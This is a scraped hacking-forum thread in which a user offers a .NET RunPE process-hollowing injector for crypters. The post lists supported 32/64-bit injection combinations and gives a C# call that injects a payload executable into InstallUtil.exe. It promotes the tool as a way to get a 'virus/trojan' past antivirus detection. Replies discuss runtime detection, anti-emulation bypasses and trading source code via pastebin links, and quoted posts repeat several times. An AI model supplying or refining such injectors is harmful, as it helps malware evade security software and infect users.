[ɘxɘ]

Requirements:
Any Windows System (x86, x64)
.NET Framework 2.0

Possible Injections:

Using 64bit System:

Code:

[CallerEXE(AnyCPU)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(AnyCPU)] [CallerEXE(AnyCPU)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(x64)] [CallerEXE(AnyCPU)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(x86)] [CallerEXE(AnyCPU)]-[PayloadEXE(x64)] -> [TargetEXE(AnyCPU)] [CallerEXE(AnyCPU)]-[PayloadEXE(x64)] -> [TargetEXE(x64)] [CallerEXE(AnyCPU)]-[PayloadEXE(x86)] -> [TargetEXE(AnyCPU)] [CallerEXE(x64)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(AnyCPU)] [CallerEXE(x64)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(x64)] [CallerEXE(x64)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(x86)] [CallerEXE(x64)]-[PayloadEXE(x64)] -> [TargetEXE(AnyCPU)] [CallerEXE(x64)]-[PayloadEXE(x64)] -> [TargetEXE(x64)] [CallerEXE(x64)]-[PayloadEXE(x86)] -> [TargetEXE(AnyCPU)] [CallerEXE(x86)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(x86)] [CallerEXE(x86)]-[PayloadEXE(x86)] -> [TargetEXE(x86)]

Using 32bit System:

Code:

[CallerEXE(AnyCPU)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(AnyCPU)] [CallerEXE(AnyCPU)]-[PayloadEXE(AnyCPU] -> [TargetEXE(x86)] [CallerEXE(AnyCPU)]-[PayloadEXE(x86)] -> [TargetEXE(x86)] [CallerEXE(x86)]-[PayloadEXE(x86)] -> [TargetEXE(x86)] [CallerEXE(x86)]-[PayloadEXE(AnyCPU] -> [TargetEXE(x86)] [CallerEXE(x86)]-[PayloadEXE(x86)] -> [TargetEXE(AnyCPU)] [CallerEXE(x86)]-[PayloadEXE(AnyCPU)] -> [TargetEXE(AnyCPU)]

All .NET Crypters use RunPE's only able to inject x86 to x86, some of them don't even work when called from an anycpu or x64 compiled exe. This RunPE is the first public to give you all injection options which can be done. Which means you can target the "Framework64" folder or even just random .NET exe's and doesn't have to go for some specific ones. As many AV's modules and more is 32bit compiled, having a 64bit RunPE together with a 64bit virus/trojan can benefit a lot in terms of detection.

Video:
https://www.youtube.com/watch?v=k2pLF56gXXw

[hide]MenaPE: http://files.pulses.xyz/#/view/file/ghyc...MenaPE.txt
NativeMethods: http://files.pulses.xyz/#/view/file/nc9n...ethods.txt

Example Usage:

Code:

int num = 0; MenaRunPE.Run(Path.Combine(System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory(), "InstallUtil.exe"), "", File.ReadAllBytes(@"C:\payload.exe"), 4, ref num);

@Killpot

[Killpot]

Ye! I remember writing a thread on how to use this etc. I found that in practice though it was very unstable, and wasn't very consistent, I contacted Menalix and he said that he had intentionally left if unfinished and if people wanted to figure out how to get it working properly they would have to figure it out for themselves. However this runpe looks modified from the origional, where did you find it?

[ɘxɘ]

Ye! I remember writing a thread on how to use this etc. I found that in practice though it was very unstable, and wasn't very consistent, I contacted Menalix and he said that he had intentionally left if unfinished and if people wanted to figure out how to get it working properly they would have to figure it out for themselves. However this runpe looks modified from the origional, where did you find it?

Sources

[Killpot]

Ye! I remember writing a thread on how to use this etc. I found that in practice though it was very unstable, and wasn't very consistent, I contacted Menalix and he said that he had intentionally left if unfinished and if people wanted to figure out how to get it working properly they would have to figure it out for themselves. However this runpe looks modified from the origional, where did you find it?

Sources

Ohh? Interesting, I've tested it and looked into it and this is much better than the one he posted on HF and on his blog with dynamic calling etc. Great post.

[ɘxɘ]

Ye! I remember writing a thread on how to use this etc. I found that in practice though it was very unstable, and wasn't very consistent, I contacted Menalix and he said that he had intentionally left if unfinished and if people wanted to figure out how to get it working properly they would have to figure it out for themselves. However this runpe looks modified from the origional, where did you find it?

Sources

Ohh? Interesting, I've tested it and looked into it and this is much better than the one he posted on HF and on his blog with dynamic calling etc. Great post.

I tend to make those.

[Hansbald]

I just tested it out and it seems to work fine, don't know the runtime detection rate yet tho

[Killpot]

I just tested it out and it seems to work fine, don't know the runtime detection rate yet tho

It'll be detected runtime for sure, every runpe is for the most part, you'll have to get some good anti-emulation functions to bypass it.

[DoctorMixterdo]

someone have the source? the link is down. Can someone reupload the file or source? thanks..

[DoctorMixterdo]

I have vb.net version
https://pastebin.com/Ziqk57Qn
someone has for C#¿¿¿??

[Shadow.walker]

I have vb.net version
https://pastebin.com/Ziqk57Qn
someone has for C#¿¿¿??

Here u go I've convert it but haven't tested try it by your self C#